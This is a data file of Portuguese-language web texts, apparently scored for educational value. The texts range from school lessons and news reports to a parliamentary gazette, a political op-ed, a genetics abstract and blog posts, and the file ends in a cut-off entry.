História, fazemos a mesma coisa, mas com eventos que aconteceram há muitos anos! Por exemplo, podemos criar uma Linha do Tempo para entender a história do Brasil, desde a chegada dos portugueses até os dias atuais. + +A Linha do Tempo não precisa ser apenas uma reta com datas. Ela pode ser colorida, com desenhos, fotos e textos que tornem o aprendizado mais divertido. Você pode criar uma Linha do Tempo sobre a história da música, mostrando como os diferentes estilos musicais surgiram e se desenvolveram. Ou, que tal uma Linha do Tempo sobre a história da tecnologia, desde a invenção da roda até os smartphones? + +As Linhas do Tempo nos ajudam a desenvolver o pensamento crítico, a capacidade de analisar informações e a entender o mundo ao nosso redor. Ao usar essa ferramenta, você se torna um detetive do tempo, desvendando mistérios e construindo o seu próprio conhecimento. Então, que tal começar a sua Linha do Tempo hoje mesmo? Que eventos importantes você gostaria de registrar e explorar?",História,Linha do tempo,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, introduzindo o conceito de linha do tempo de forma clara e envolvente, adequada para alunos do ensino fundamental. Utiliza exemplos práticos e incentiva o pensamento crítico, além de sugerir aplicações em diversas áreas do conhecimento. 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Desde a sua criação, já formou mais de 270. Ontem (12) a empresa realizou a formatura da 24ª turma do projeto, com 11 alunos. A atividade foi realizada na Acisa. +A coordenadora do curso, Anelisa Lorenzi, contou que, ao longo de três meses e meio, os participantes recebem aulas de noções básicas sobre a estrutura e funcionamento de empresas. Eles aprendem sobre logística, armazenagem, reposição, exposição, comunicação, atendimento ao cliente, trabalho em equipe, postura profissional e relacionamento interpessoal. +Anelisa disse que durante esse período eles também fizeram estágio. A ideia é que saiam aptos para todas as funções de mercado. Além disso, ao completar o curso, os jovens são encaminhados a vagas de trabalho. São formadas duas turmas por ano. A coordenadora destacou que as inscrições para a próxima turma, que inicia no dia 13 de agosto, já estão abertas. +Os interessados devem ter entre 16 e 17 anos e estarem estudando. É preciso ir pessoalmente no RH da Comercial Zaffari (Rua Fagundes dos Reis, 83) para preencher um formulário. O curso é gratuito e a empresa oferece material didático, vale-transporte e uniforme.",original,original,original,original,3,0.6 +"Página Inicial 3ª República Assembleia da República Série II-B XIV Legislatura Sessão Legislativa 02 Número 050 2021-06-12 Página 1 +O texto apresentado é obtido de forma automática, não levando em conta elementos gráficos e podendo conter erros. Se encontrar algum erro, por favor informe os serviços através da página de contactos. +Estrutura +Descarregar +Texto Paginado +Página 1 +Sábado, 12 de junho de 2021 II Série-B — Número 50 +XIV LEGISLATURA 2.ª SESSÃO LEGISLATIVA (2020-2021) +S U M Á R I O +Votos (n.os 87 a 91/2021): N.º 87/2021 — De pesar pelo falecimento de António Coimbra Martins. N.º 88/2021 — De pesar pelo falecimento do Coronel Diniz de Almeida. N.º 89/2021 — De saudação pelos profissionais que socorrem os migrantes que tentam chegar a solo europeu. N.º 90/2021 — De saudação ao Dia Internacional das Crianças Desaparecidas. N.º 91/2021 — Ao Sporting Clube de Portugal pela conquista do título de Campeão da Liga Europeia de Hóquei em Patins. Projetos de Voto (n.os 601 a 603/XIV/2.ª): N.º 601/XIV/2.ª (PSD e subscrito por uma Deputada do PS) — De saudação à poetisa Ana Luísa Amaral pela conquista +do XXX Prémio Rainha Sofia. N.º 602/XIV/2.ª (BE) — De solidariedade para com o povo e os presos políticos da Bielorrússia. N.º 603/XIV/2.ª (PS) — De saudação ao Dia Mundial da Criança. Interpelação n.º 10/XIV/2.ª (CDS-PP): Sobre «Gestão da pandemia, pós-estado de emergência. Os certificados de vacinação e a recuperação nas áreas da saúde, social e económica». Petição n.º 224/XIV/2.ª (Mudar o sistema de registo dos Deputados na Assembleia da República: Biometria em vez de «passwords partilhadas»): — Relatório final da Comissão de Transparência e Estatuto dos Deputados. +Página 2 +II SÉRIE-B — NÚMERO 50 +2 +VOTO N.º 87/2021 DE PESAR PELO FALECIMENTO DE ANTÓNIO COIMBRA MARTINS +A Assembleia da República, reunida em sessão plenária, expressa o seu profundo pesar pelo falecimento de +António Coimbra Martins, transmitindo à sua família e amigos as mais sentidas condolências. +Aprovado em 2 de junho de 2021. +O Presidente da Assembleia da República, Eduardo Ferro Rodrigues. +——— +VOTO N.º 88/2021 DE PESAR PELO FALECIMENTO DO CORONEL DINIZ DE ALMEIDA +A Assembleia da República, reunida em sessão plenária, expressa o seu pesar pelo falecimento de Eduardo +Diniz Santos Almeida, e envia aos seus familiares e amigos sentidas condolências. +Aprovado em 2 de junho de 2021. +O Presidente da Assembleia da República, Eduardo Ferro Rodrigues. +——— +VOTO N.º 89/2021 DE SAUDAÇÃO PELOS PROFISSIONAIS QUE SOCORREM OS MIGRANTES QUE TENTAM CHEGAR +A SOLO EUROPEU +A Assembleia da República aprova um voto de saudação aos profissionais que têm prestado socorro aos +migrantes que têm chegado a Ceuta, particularmente a socorrista Luna Reyes, pelo gesto simbólico de apoio a +um migrante. +Apreciado e votado na Comissão de Assuntos Constitucionais, Direitos, Liberdades e Garantias em 9 de +junho de 2021. +Nota: Aprovado, por unanimidade. +——— +VOTO N.º 90/2021 DE SAUDAÇÃO AO DIA INTERNACIONAL DAS CRIANÇAS DESAPARECIDAS +A Assembleia da República saúda o Dia Internacional das Crianças Desaparecidas, reafirma o compromisso +Página 3 +12 DE JUNHO DE 2021 +3 +da defesa indeclinável dos direitos das crianças, envia uma mensagem de esperança e solidariedade as famílias +que vivem esta problemática, e apela ao combate sem tréguas à exploração sexual e tráfico de crianças +mediante eficaz cooperação e abordagens comuns no plano internacional. +Apreciado e votado na Comissão de Assuntos Constitucionais, Direitos, Liberdades e Garantias em 9 de +junho de 2021. +Nota: Aprovado, por unanimidade, tendo-se registado a ausência do CH. +——— +VOTO N.º 91/2021 AO SPORTING CLUBE DE PORTUGAL PELA CONQUISTA DO TÍTULO DE CAMPEÃO DA LIGA +EUROPEIA DE HÓQUEI EM PATINS +A Assembleia da República congratula-se com a importante conquista alcançada pelo Sporting Clube de +Portugal, que vence o título de Campeão Europeu de Hóquei pelo segundo ano consecutivo, produto de um +trabalho consistente que se revela frutuoso por parte da inst...",original,original,original,original,1,0.2 +"Com a nostalgia própria de um tango, um grupo de fãs do rei da música platina Carlos Gardel (1890-1935) homenageou o ídolo, na última quarta-feira em Buenos Aires, nos 80 anos do aniversário de sua morte +""Para entender o tango, a vida tem de passar por cima de você"", afirmou Mariángeles Blasco, de 70 anos, uma das muitas aposentadas que se emocionaram a ouvir os clássicos do ""zorzal criollo"" (o ""sabiá crioulo""), enquanto olhava enternecida para sua estátua rodeada de flores, fotos, cartazes e presentes dos fãs, todos na mesma faixa etária. +A maioria se cumprimentava com familiaridade, prometendo se ver no mesmo lugar no ano que vem, para lembrar do intérprete de ""El día que me quieras"" e ""Volver"". +Às 15h10, hora exata do falecimento de Gardel, os presentes fizeram um minuto de silêncio. O cantor morreu em 24 de junho de 1935, em um acidente aéreo em Medellín, na Colômbia, no auge da fama. +Na Casa Museu Carlos Gardel será apresentado o disco ""Morocho"", uma adaptação pop de 13 clássicos do cantor, interpretados por Leo García, Kevin Johansen, pelo grupo Onda Vaga, pelo brasileiro Moreno Veloso e pelo uruguaio Martín Buscaglia. +Exposição ""Carlos Gardel, do homem ao mito"" +Fotografias, sapatos, cartas, chapéus e até um terno de Carlos Gardel estão sendo exibidos em Buenos Aires por ocasião do 80º aniversário de sua morte em um acidente de avião que transformou esta referência do tango em um mito para os argentinos. +Uma gravata, um mate, uma piteira, um violão, presentes, fotos e telegramas são algumas das peças que formam a mostra ""Carlos Gardel, do homem ao mito"", uma denominação que o artista ganhou ao morrer, quando estava no auge de sua carreira. +A exposição percorre sua vida, sua relação com a música e o cinema e as circunstâncias de sua morte, que conta com uma seção própria na qual são exibidas as manchetes de jornais posteriores à tragédia área, assim como destroços recuperados do acidente e a última foto de Gardel antes de entrar no avião em que realizaria sua última viagem. +Postado por ArteCultural às 22:56 +Enviar por e-mailPostar no blog!Compartilhar no TwitterCompartilhar no FacebookCompartilhar com o Pinterest +Nenhum comentário: +Postar um comentário +Seu comentário será publicado após análise. +Obrigado! +Postagem mais recente Postagem mais antiga Página inicial +Assinar: Postar comentários (Atom) +Postagens populares +A diversidade cultural da Região Norte +A mais longínqua e desabitada região do Brasil é também a mais rica em manifestações culturais. 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Estes detalhes são explicados pela incerteza dos homens barrocos e são utilizados para demonstrar o que se passa em seu interior. As contradições que estão no íntimo de cada artista dessa época é a explicação para a minuciosidade em suas criações na tentativa de expor seus sentimentos. +Não se diga que é parte, sendo o todo.” (Gregório de Matos) +O conceptismo é o jogo de conceitos e ideias, seguido por uma ordem rigorosa e uma retórica aguçada, que tem como intenção convencer e ensinar o leitor. Um fragmento do Padre Antonio Vieira exemplifica isto ao escrever “Para um homem se ver a si mesmo são necessárias três coisas: olhos, espelho e luz. Se tem espelho e é cego, não se pode ver por falta de olhos; se tem espelhos e olhos, e é de noite, não se pode ver por falta de luz. Logo, há mister luz, há mister espelho e há mister olhos”. +Arquivado em: Literatura, Movimentos Literários Contato",original,original,original,original,4,0.8 +"A Biofábrica Governador Miguel Arraes tem como missão desenvolver e produzir vegetais em larga escala com interesse econômico e estratégico para a conservação da biodiversidade da região e aumento da produtividade de produtores rurais. +As atividades do Cetene na área de microeletrônica são realizadas pelo Laboratório para Integração de Circuitos e Sistemas (Lincs). O laboratório tem como missão desenvolver projetos de alta qualidade e oferecer serviços de pesquisa e desenvolvimento em sistemas eletrônicos de aplicação específica. +O LMNano é um dos seis Laboratórios Estratégicos de Nanotecnologia do Ministério da Ciência, Tecnologia, Inovações e Comunicações. É um laboratório multiusual porque permite serviços para diversos setores, como, por exemplo, os de mineração, químico e petroquímico, têxteis, metalúrgico, farmacêutico e de cosméticos, indústrias de corantes/pigmentos, construção civil, microeletrônica, medicina e perícia. +Desenvolver ou modificar sistemas, processos e produtos que estejam ligados a seres vivos. A biotecnologia mescla tecnologia à ciência, a fim de que sejam originados produtos úteis que contribuam para a resolução de problemas por meio de técnicas inovadoras. +Reduzir a dimensão dos componentes e circuitos, mantendo ou aperfeiçoando o padrão de eficiência e diminuir os custos são as metas de toda empresa de microeletrônica, para isso, investimentos na casa do bilhões são injetados pelo governo brasileiro e empresas especializadas no setor, para pesquisa e desenvolvimento de novas tecnologias. +Caso queira utilizar nossos equipamentos ou a nossa infraestrutura faça o login abaixo: +ACESSO AOS FORMULÁRIOS DE SOLICITAÇÃO",original,original,original,original,3,0.6 +"O que separa Costa de Passos Coelho | Portal de Angola +Inicio Portugal O que separa Costa de Passos Coelho +O que separa Costa de Passos Coelho +Sérgio Azevedo (D.R) +As entrevistas de António Costa e Pedro Passos Coelho à CMTV foram confirmadoras das diferenças objectivas que os separam e que se revelarão cruciais na decisão de voto no próximo dia 4 de Outubro. +Há uma diferença óbvia entre os dois que pode ser retirada. Se de um lado Costa gastou algum do seu tempo a justificar casos como a promessa da criação de 207 mil novos empregos até 2019, que afinal nunca foi promessa mas sim uma previsão, Passos respondeu pelas opções do governo nestes últimos quatro anos e, sabendo que isso pode custar votos, assumiu sem rodeios um caminho de responsabilidade e contenção e, simultaneamente, de continuação de crescimento económico. +Independentemente dos amores e desamores que um ou outro nos possam causar, há uma questão que deve estar presente na escolha dos portugueses. Esta eleição não é para escolher o mais simpático ou aquele cuja conversa é mais agradável aos nossos ouvidos. É, sim, escolher qual deles, talvez pela primeira vez com projectos tão distintos, continuará a trilhar o caminho de sucesso e crescimento que Portugal tem dado sinais claros de percorrer. +Portugal, ao contrário das espirais recessivas que a oposição anunciou, saiu de um duríssimo resgate financeiro no tempo previsto, sem necessidade de mais dinheiro ou de um segundo resgate (a Grécia, em tempos elogiada por Costa, vai no terceiro). A economia cresce afirmando a recuperação económica do país, o desemprego está já mais baixo que em 2011 e a confiança dos consumidores está a níveis de 2001. Superámos as dificuldades. Foi duro, muito duro, mas valeu a pena. Portugal recuperou a sua soberania e hoje cresce sustentadamente. Agora, você decide. +Deputado. Escreve à segunda-feira (ionline.pt) +tweet Artigo anteriorEleições. Há menos indecisos mas vão pesar mais no resultadoPróximo artigoAssociação promove cursos de realizadores de Cinema BM ARTIGOS RELACIONADOSMAIS DO MESMO AUTOR",original,original,original,original,2,0.4 +"VILSON ARRUDA FILHO - BRASIL - RS: DEVOLUÇÃO DO DESCONTO PREVIDENCIÁRIO DO 1/3 DE FÉRIAS SERVIDOROS - RS +- E-mail: vilson.arruda@ig.com.br - TWITTER - https://twitter.com/#!/vilsonArruda - segunda-feira, 31 de outubro de 2011 +DEVOLUÇÃO DO DESCONTO PREVIDENCIÁRIO DO 1/3 DE FÉRIAS SERVIDOROS - RS +DO 1/3 DE FÉRIAS DOS SERVIDORES PÚBLICOS DO RS +O governo do estado publicou o Decreto nº 48.431, de 10 de outubro, DO de 11/11/2011, pg. 01, dispondo sobre a restituição aos servidores públicos dos valores descontados a título de contribuição previdenciária sobre o terço constitucional de férias. Este decreto foi publicado em razão da decisão judicial, favorável e já ganha em 1ª instância, que o CPERS/SINDICATO ajuizou, processo nº 001/1.10. 00558267, requerendo a ilegalidade do desconto previdenciário sobre o terço de férias dos servidores públicos e a conseqüente restituição dos valores já descontados irregularmente. No momento aguarda julgamento de recurso interposto pelo RS, sem previsão de tempo para o encerramento do processo. +Também é condição, para o recebimento pela via administrativa (acordo), a DESISTÊNCIA DA AÇÃO JUDICIAL, individual, caso o colega tenha ingressado. O processo coletivo está no nome do Sindicato e representa todos seus associados e não contém os nomes individuais. Esta restituição administrativa se dará em 4 parcelas semestrais, na folha de pagamento de: +- novembro de 2011, - maio e outubro de 2012, e - maio de 2013. Em razão disso informamos: +2. O parcelamento proposto pelo governo não prevê o pagamento de juros e correção monetária, com prejuízos para o servidor; 3. O período alcançado pela Ação judicial é de 5 anos (desde 10/03/2005) a contar da data do ajuizamento, que foi em 10/03/2010. O Estado propõe restituir administrativamente a partir de 02 de julho de 2005; +4. O servidor terá de aguardar até MAIO de 2013 para receber todos os valores a que faz jus, SEM JUROS E CORREÇÃO; 5. Esse acordo estabelecido no Decreto é mais uma atitude do Estado, como já realizado na incorporação da Lei Britto, do 1/3 de férias, não respeitando direitos de decisões judiciais com o único objetivo de economizar, lucrando às custas do servidor público e agora se propõe restituí-los SEM JUROS e CORREÇÃO MONETÁRIA. +6. Para receber a restituição o Servidor interessado deverá formalizar através do Termo de Adesão, disponível no Portal do Servidor (www.servidor-rhe.rs.gov.br); 7. O prazo de adesão administrativa se estende até 31 de dezembro de 2011, mas para receber a 1ª parcela na folha de pagamento de novembro a adesão deverá ser realizado até 10 de novembro, após esta data o recebimento será nas 3 parcelas seguintes; +( ) ADERIR (Servidor que possui ação judicial) (individual) ( ) ADERIR (Servidor que não possui ação judicial) Obs.: A ação coletiva do CPERS não é considerada neste caso +Marli H. K. da Silva Vice-Diretora do 15º Núcleo CPERS/Sindicato +DEVOLUÇÃO 1/3 DE FÉRIAS RS +DEVOLUÇÃO DO DESCONTO PREVIDENCIÁRIO DO 1/3 DE FÉR... +PEDRO ARRUDA - VIAMÃO - RS",original,original,original,original,1,0.2 +"O Estatuto do Aluno e Ética Escolar, aprovado pela Lei nº 51/2012, de 5 de Setembro, estabelece os direitos e deveres dos alunos dos ensinos básico e secundário e o compromisso dos pais ou encarregados de educação e dos restantes membros da comunidade educativa na sua educação.",original,original,original,original,3,0.6 +"Título: Heranca do caracter folhas amarelas em um mutante natural de soja. +Páginas: p.489. +Conteúdo: Na soja sao encontradas com relativa mutacoes espontaneas para varias caracteristicas morfologicas e fisiologicas. Para a caracteristica condicionante de deficiencia de clorofila, mais de 30 mutantes espontaneos ou induzidos ja foram identificados. Para muitos deles ja existem estudos geneticos determinado o modo como o caracter e herdado. Esse mutantes deficientes em clorofila podem ter importancia para estudos sobre regulacao da biossintese de clorofila em soja. No programa de melhoramento da Embrapa Soja, em 1995, foi encontrada na populacao oriunda do cruzamento entre as cvs. Bossier e BR-1 uma planta com folhas totalmente amarelas, aqui referido como Yellow-1. Na geracao seguinte, a progenie dessa planta foi uniforme para esse caracter, indicando uma possivel mutacao de origem nuclear ou citoplasmatica. Para estudar o controle genetico e o mecanismo de heranca deste caracter foi feito o cruzamento OCEPAR 9 x Yellow-1. utilizando sempre o mutante como genitor masculino. As cinco familias de plantas F apresentaram segregacao homogenea, descartando-se uma possivel heranca condicionada por fator citoplasmatico. Foi observada, num total de 397 plantas, a ocorrencia de 296 individuos com folhas de coloracao normal e 101 com folhas amarelas. Essa segregacao se ajusta com alta probalidade a uma segregacao mendelina simples (3:1), em que a proporcao esperada e de 297,75 individuos normais e 99,25 individuos com folhas amarelas. A caracteristica e de heranca monogenica, com o homozigoto recessivo condicionando o fenotipo folhas de coloracao amarela. MenosNa soja sao encontradas com relativa mutacoes espontaneas para varias caracteristicas morfologicas e fisiologicas. Para a caracteristica condicionante de deficiencia de clorofila, mais de 30 mutantes espontaneos ou induzidos ja foram identificados. Para muitos deles ja existem estudos geneticos determinado o modo como o caracter e herdado. Esse mutantes deficientes em clorofila podem ter importancia para estudos sobre regulacao da biossintese de clorofila em soja. No programa de melhoramento da Embrapa Soja, em 1995, foi encontrada na populacao oriunda do cruzamento entre as cvs. Bossier e BR-1 uma planta com folhas totalmente amarelas, aqui referido como Yellow-1. Na geracao seguinte, a progenie dessa planta foi uniforme para esse caracter, indicando uma possivel mutacao de origem nuclear ou citoplasmatica. Para estudar o controle genetico e o mecanismo de heranca deste caracter foi feito o cruzamento OCEPAR 9 x Yellow-1. utilizando sempre o mutante como genitor masculino. As cinco familias de plantas F apresentaram segregacao homogenea, descartando-se uma possivel heranca condicionada por fator citoplasmatico. Foi observada, num total de 397 plantas, a ocorrencia de 296 individuos com folhas de coloracao normal e 101 com folhas amarelas. Essa segregacao se ajusta com alta probalidade a uma segregacao mendelina simples (3:1), em que a proporcao esperada e de 297,75 individuos normais e 99,25 individuos com folhas amarelas. A caracteristica e de heranca monogenica, com o hom... Mostrar Tudo +Palavras-Chave: Chlorophyel; Deficiency; Heranca; Inheritance; Soybean. +Thesaurus NAL: mutation. +Marc: LEADER 02342naa a2200289 a 4500 +001 1460822 +245 $aHeranca do caracter folhas amarelas em um mutante natural de soja. +300 $ap.489. +520 $aNa soja sao encontradas com relativa mutacoes espontaneas para varias caracteristicas morfologicas e fisiologicas. Para a caracteristica condicionante de deficiencia de clorofila, mais de 30 mutantes espontaneos ou induzidos ja foram identificados. Para muitos deles ja existem estudos geneticos determinado o modo como o caracter e herdado. Esse mutantes deficientes em clorofila podem ter importancia para estudos sobre regulacao da biossintese de clorofila em soja. No programa de melhoramento da Embrapa Soja, em 1995, foi encontrada na populacao oriunda do cruzam...",original,original,original,original,2,0.4 +"Concha de amamentação: será que você precisa mesmo? - Mil Dicas de Mãe +Concha de amamentação: será que você precisa mesmo? +10 de agosto de 2018 - POR Equipe - 1 COMENTÁRIOS +Como vocês sabem, um dos assuntos que eu considero mais importantes para serem tratados aqui no blog é a amamentação. O assunto rendeu até uma live na nossa fan page no Facebook recentemente, com o ginecologista e obstetra Corintio Mariani, presidente da Comissão Nacional de Aleitamento Materno da Febrasgo (Federação Brasileira das Associações de Ginecologia e Obstetrícia). Se você perdeu, não deixe de conferir aqui – lá nós tiramos diversas dúvidas de leitoras! Uma delas, aliás, é o tema do post de hoje: concha de amamentação. +Não sei se você já pensou em usar, mas o fato é que muitas mulheres acreditam que a concha de amamentação ajuda nas mamadas – quando, na verdade, atrapalha! Trata-se de uma peça feita normalmente em silicone, com a finalidade de ser colocada nos mamilos para protegê-los de fissuras, evitar vazamento de leite e, segundo os fabricantes, facilitar o aleitamento e aliviar possíveis dores. Você já ouviu essa história? Eu escutei quando estava grávida, cheguei a usar a concha algumas vezes, mas acabei deixando-a, por não me adaptar a ela. Até que, depois de anos de blog e do contato com muitos profissionais médicos, descobri que, na verdade, o uso da concha de amamentação não é recomendado (o próprio Dr. Coríntio não recomenda). +Quer ver o que ele diz e mais informações sobre o assunto? Eu te conto a seguir: +Acredite: a concha de amamentação não será necessária para o sucesso da sua amamentação (nem é milagrosa como se propõe). Muitas mulheres recorrem ao uso desse produto quando estão com os peitos machucados e sentem dor na hora de amamentar, como uma forma de aliviar o processo. Também é comum para quem possui bicos planos ou invertidos acabar cogitando a ideia da concha, para que o leite saia com mais facilidade. +Contudo, conforme o ginecologista e obstetra Corintio Mariani afirmou na nossa live, a concha de amamentação pode ser perigosa. Ele relatou até casos de pacientes que, ao usar a concha de amamentação, acabaram apertando tanto os seios na preocupação de oferecer uma boa mamada à criança, que desencadearam uma mastite. Aliás, essa é uma das maiores desvantagens da peça, pois pode favorecer a proliferação de fungos e bactérias. +O médico também disse que o perigo, muitas vezes, está na própria venda do produto: em São Paulo, conchas de amamentação podem ser encontradas até em bancas de jornal, de modo que não existe uma orientação adequada ao consumidor sobre o uso. +De acordo com Mariani, caso a mulher esteja com dificuldades para amamentar por conta de fissuras, o mais indicado é que ela descanse o seio que esteja machucado. Em casos em que as duas mamas estão machucadas e a amamentação dói muito, o ideal, então, é tirar o leite e oferecê-lo para o bebê de outras formas, como com a ajuda de copos e colheres (e não pela mamadeira, porque o pequeno pode confundir os bicos e uma possível volta ao peito fica mais difícil). +Para tratar as fissuras, o que o profissional indica é a hidratação com o próprio leite materno. Isso mesmo: o alimento é tão poderoso que, além de todos os benefícios que oferece à criança, ainda hidrata a pele. +Já para facilitar a pega, existem outros métodos mais eficazes que o uso da concha de amamentação. Um deles é, justamente, não oferecer outros bicos para o bebê (como mamadeiras e chupetas). Se você tem recorrido às chupetas para acalmar o filhote, que tal trocá-las por um tempinho com a criança junto ao peito? Mesmo que ela não mame, só o ato de sucção já é um incentivo e tanto para ela aprender a pega corretamente e estimular a produção de leite materno. +E, se você tiver bicos planos ou invertidos, a consultora de amamentação Marcia Benalia já ensinou aqui no blog como facilitar o aleitamento. Você pode conferir o post dela aqui. +Tenha paciência, pois o caminho natural vale a pena! E, evidentemente, qual...",original,original,original,original,2,0.4 +"Estudo: O fungo cítrico responsável pela extinção de ... - Notícias - Naturlink +Estudo: O fungo cítr... +Estudo: O fungo cítrico responsável pela extinção de dezenas de populações de anfíbios foi propagado pelo comércio de animais Filipa Alves (08-11-2011) +Esta é uma das conclusões de um estudo recentemente publicado que sugere que o comércio de espécies exóticas como animais de estimação ou de Zoo e a importação de rãs africanas para a América do Norte e Europa para utilização no fabrico de testes de gravidez, constituem as duas vias mais prováveis da disseminação da quitidriomicose, que é um fenómeno do séc. XX. +O combate à extinção de espécies de animais e plantas baseia-se no conhecimento profundo dos factores de ameaça que estão na origem do seu declínio populacional. +Neste sentido, são de extrema importância os resultados de um estudo recentemente publicado na revista Proceedings of the National Academy of Sciences que, através da análise global do genoma de amostras do fungo cítrico obtidas de várias espécies de anfíbios de 20 zonas distintas, procurou perceber como o fungo se tornou uma ameaça tão letal para estes vertebrados. +Este fungo, que terá tido origem em África, está actualmente disperso por todo o mundo e está a dizimar as populações de anfíbios a nível global, estando inclusive na origem da extinção de dezenas de espécies desta classe de vertebrados. +O trabalho de investigação recém-publicado foi levado a cabo por cientistas do Imperial College de Londres (Reino Unido) e analisou amostras de anfíbios provenientes da América do Norte, América Central, Caraíbas, Europa e África do Sul tendo revelado que existem 3 linhagens distintas do fungo cítrico, que causa a quitridiomicose. +Duas das linhagens têm uma distribuição restrita – a BdCH surgiu em amostras provenientes da Suíça, ao passo que a BdCAPE revelou estar presente em amostras vindas da província do Cabo (África do Sul) e na ilha balear de Malhorca (Espanha). +A terceira forma - BdGPL – que ocorre de forma generalizada, é a mais letal e terá, muito provavelmente, surgido da cruzamento de uma combinação letal de outras formas ancestrais do fungo. +Os cientistas concluíram também que este processo terá ocorrido no séc. XX, coincidindo a “explosão” do comércio de anfíbios, que aparece, assim, como a hipótese explicativa mais provável da disseminação da doença, quer tenha sido através da compra e venda de espécies exóticas como animais de estimação ou de Zoo, quer através da importação de rãs africanas para a América do Norte e Europa, tendo como fim a produção de testes de gravidez. +Os cientistas esperam que os resultados deste estudo possam também ser importantes para encontrar uma forma directa de anular a letalidade do fungo cítrico, através da identificação das formas menos virulenteas que possam ser utilizadas numa “vacina”, para aumentar a resistência dos animais à doença. +Revelado o mecanismo de actuação de fungo que ameaça populações de anfíbios +O herbicida mais utilizado a nível mundial pode estar a contribuir para o declínio dos Anfíbios",original,original,original,original,4,0.8 +"Hoje, acordei sentindo uma grande dor no peito. +Porque está tão inquieto dentro de mim? +Minha alma disse: -- Estou assim porque você está assim; +Você me faz perguntas, mas não tenho as respostas e sei que isso a faz infeliz... +Você se sente tão pequena, e isso me faz pequena também... +Você queria ser diferente e eu fico triste por você... +E foi aí que meu coração meio confuso me respondeu... +Fiquei sem jeito e perguntei... +Você sofre tanto com as pessoas, preocupa-se com elas, é atenciosa, procura ser prestativa e sempre se decepciona... +Você ama e depois sofre e fala que a culpa é minha... +Você espera por algo que não vem e fica triste... +Que eles sejam tão grandes que possam envolver seu corpo em um abraço cheio de ternura e que você se sinta segura e amparada... +Curativos que lhe façam sentir o quanto você é especial e amada, mesmo que você nunca tenha sentido esse amor, nem de seus próprios pais... +Curativos que absorvam esse sofrimento, essa dor... +Essa ferida que não se vê, apenas se sente... +Que sejam fortes, e a prova d’água, para que não se estraguem com suas lágrimas! +Que sejam macios para poder lhe fazer carinho nos dias em que você se sentir carente... +Curativos que acima de tudo nunca a decepcionem, prometendo coisas que não cumprem... +Dizer-lhe que tudo vai passar, e lhe proteger das decepções da sua vida, +afinal você já sofreu tanto que não sei como ainda consigo bater forte em seu peito... +Preciso de Curativos para um coração partido... +Desconheço a autoria desse texto, se alguém souber, por favor me diga, para que eu dê os devidos créditos, obrigada. +Também não conheço mas gostaria de saber, poiis é muito engenhoso, sabes quem tem penas são as galinhas e ninguem fica com ninguem por pena ou caridade, se não se gosta acaba por se ir embora, mas os curativos são sempre bem vindos, quanto mais não seja, para estancar esse sofrimento que é ter um coração apaixonado, não tem logica, nem sequer explicação, mas ás vezes doi mesmo amando muito, bjs +Boa noite anônimo, gosto do texto, não sei quem fez, mas quem sabe aparece o dono ou quem saiba. Complicado, obrigada por vir. +rsrsrs...agora vc complicou mais ainda. Tem razão, nós complicamos o que já é complicado. Boa noite meu querido. Bom sonhos pra ti. Beijos. +O texto abaixo fui elaborado embaixo do chuveiro, como eu não tinha papel à prova de água e nem caneta, vou tentar passar todo ele, pode ser que escape alguma coisa, mas vale mesmo assim. +As ruínas do Templo dos Guerreiros tem enormes cabeças de serpentes esculpidas em pedra. Esse palácio possuía mil colunas de sustentação que davam à volta em todo o prédio. Por volta do ano 1200, Chichen Itzá entrou em guerra com outras duas cidades da civilização maia-tolteca: Uxmal e Mayapan. +Em cima da estátua, ao centro, os Maias realizavam os sacrifícios para os seus Deuses. +Em geral, esses sacrifícios eram feitos com crianças, raras vezes com mulheres.",original,original,original,original,4,0.8 +"Casa feita de garrafas PET no El Salvador é toda colorida | CASA.COM.BR +Casa feita de garrafas PET no El Salvador é toda colorida +Mará Ponce perdeu sua casa em um terremoto e resolveu construir outra usando criatividade e reciclagem. +access_time 14 dez 2016, 11h32 - Publicado em 2 dez 2013, 14h56 +Tudo sobre Casa e ApartamentoCasasdiferentesEl SalvadorGaleriasSustentabilidade",original,original,original,original,1,0.2 +"Olá, pequenos aventureiros! Já pararam para pensar de onde vêm as histórias que tanto amamos? Muitas delas nascem da imaginação de autores brasileiros, pessoas que usam as palavras para pintar mundos fantásticos e nos ensinar lições importantes. Hoje, vamos embarcar juntos em uma viagem pelo universo da literatura brasileira, descobrindo alguns tesouros escondidos em livros e contos. + +A literatura brasileira é como um grande baú cheio de brinquedos mágicos. Dentro dele, encontramos personagens divertidos, lugares incríveis e histórias que nos fazem rir, chorar, pensar e sonhar. Já ouviram falar do Sítio do Picapau Amarelo, criado por Monteiro Lobato? Lá, a boneca Emília apronta todas, Pedrinho e Narizinho vivem aventuras emocionantes e a Cuca nos faz tremer de medo (mas um medo gostoso!). Essas histórias são como um abraço quentinho que nos conecta com a nossa cultura e com a nossa infância. + +Outro exemplo maravilhoso é a poesia de Vinicius de Moraes. Ele transformava bichos em personagens de poemas, como no famoso ""O Pato"". Que tal imaginar um pato engraçado que sabe latim? A literatura nos permite brincar com as palavras e criar imagens surpreendentes na nossa mente. Além disso, as histórias nos ajudam a entender melhor o mundo ao nosso redor. Elas nos mostram diferentes formas de viver, de pensar e de sentir. Através dos livros, podemos viajar para outros países, conhecer outras culturas e aprender com as experiências de pessoas diferentes de nós. + +E por que a literatura é tão importante? Porque ela nos ajuda a desenvolver a nossa imaginação, a aprender novas palavras e a expressar os nossos sentimentos. Quando lemos um livro, nós estamos exercitando o nosso cérebro e nos tornando pessoas mais criativas e inteligentes. Além disso, a leitura nos proporciona momentos de prazer e nos ajuda a relaxar. Que tal, depois de ler este texto, procurar um livro de um autor brasileiro e se aventurar em uma nova história? Você pode começar com contos folclóricos, fábulas ou poemas. O importante é abrir o seu coração para a magia das palavras. + +A literatura brasileira é um presente para todos nós. Ela nos ensina, nos diverte e nos conecta com a nossa história e com a nossa identidade. Então, que tal embarcar nessa aventura literária e descobrir todos os tesouros que ela tem a oferecer? Qual livro brasileiro você gostaria de ler hoje? Que personagens te chamam mais a atenção? A leitura é uma jornada incrível que dura a vida toda. Aproveite cada página, cada palavra, cada história! E lembre-se: a imaginação é o nosso maior superpoder!",Português,Literatura brasileira,anos iniciais (1º ao 5º ano),"O trecho recebe a pontuação máxima (5) por apresentar alto valor educacional e ser perfeitamente adequado para o ensino fundamental. Introduz a literatura brasileira de forma lúdica e envolvente, incentivando a leitura e explorando a imaginação. O texto é claro, consistente e apropriado para a faixa etária, abordando a importância da literatura para o desenvolvimento cognitivo e emocional das crianças.",5,1.0 +"Você já parou para pensar como os animais e as plantas estão conectados? À primeira vista, pode parecer que cada um vive no seu canto, mas, na verdade, eles dependem muito um do outro para sobreviver! Essa relação é tão importante que, sem ela, 